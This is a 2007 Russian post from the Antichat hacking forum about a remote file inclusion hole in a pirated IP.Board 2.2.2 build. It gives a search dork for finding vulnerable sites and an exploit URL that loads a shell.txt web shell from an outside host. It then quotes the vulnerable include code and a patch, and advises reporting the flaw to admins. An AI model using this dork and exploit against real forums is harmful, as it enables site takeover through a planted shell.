ANTICHAT.XYZ    VIDEO.ANTICHAT.XYZ    НОВЫЕ СООБЩЕНИЯ    ФОРУМ  
Баннер 1   Баннер 2
Antichat снова доступен.
Форум Antichat (Античат) возвращается и снова открыт для пользователей. Здесь обсуждаются безопасность, программирование, технологии и многое другое. Сообщество снова собирается вместе.
Новый адрес: forum.antichat.xyz
Вернуться   Форум АНТИЧАТ > Безопасность и Уязвимости > Уязвимости > Форумы
   
 
 
Опции темы Поиск в этой теме Опции просмотра

  #9  
Старый 16.07.2007, 18:07
Аватар для Shram-spb
Shram-spb
Познающий
Регистрация: 06.06.2007
Сообщений: 83
Провел на форуме:
404154

Репутация: 140
Отправить сообщение для Shram-spb с помощью ICQ
Post

Цитата:
Сообщение от a1ex  
Поподробней распиши, обьясни поподробней, ато я чёт не пойму на каких работает и как глянуть что работает.
Код:
dork: "Русская версия IP.Board 2.2.2 © 2007  IPS, Inc."

exploit: http://site/forum/index.php?s=&act=profile&CODE=friends_list_popup&ips_check=http://4elovek.spb.ru/shell.txt
Куда уж подробнее??
Работает на чьем-то конкретном null'e.. но на чьем я пока не выяснил..
Ясно, что версия пиратская.. если на главной странице внизу написано, что "Лицензия для...", то адназначно не прокатит..
Ищите.. я много таких нашел.. но ломать не советую.. ничего инетерсного там нет, посещаемость таких форумов как правило мала... так что лучше проверять дырку и сообщать админам... фиксится так:

/source/action_public/profile.php
строка 885:

Код:
if ( $chk )
{
         @include ($chk);
         exit();
}
Меняем на:

Код:
if ( $chk )
{
   echo "Fuck you, Spilberg... Fixed by 5hr4M...";
   exit();
}
 
 



Похожие темы
Тема Автор Раздел Ответов Последнее сообщение
скрипт распознавания форума genom-- Форумы 22 31.12.2008 15:06
Внимание! Virustotal опасен! Herevef Защита ОС: вирусы, антивирусы, файрволы. 12 17.10.2007 12:53
IPB 2.2.2 Nulled »Atom1c« PHP, PERL, MySQL, JavaScript 14 11.04.2007 10:10
Laser Squad Nemesis - Русская версия ~!DoK_tOR!~ Болталка 1 11.03.2007 00:24



Здесь присутствуют: 1 (пользователей: 0 , гостей: 1)
 


Быстрый переход




ANTICHAT.XYZ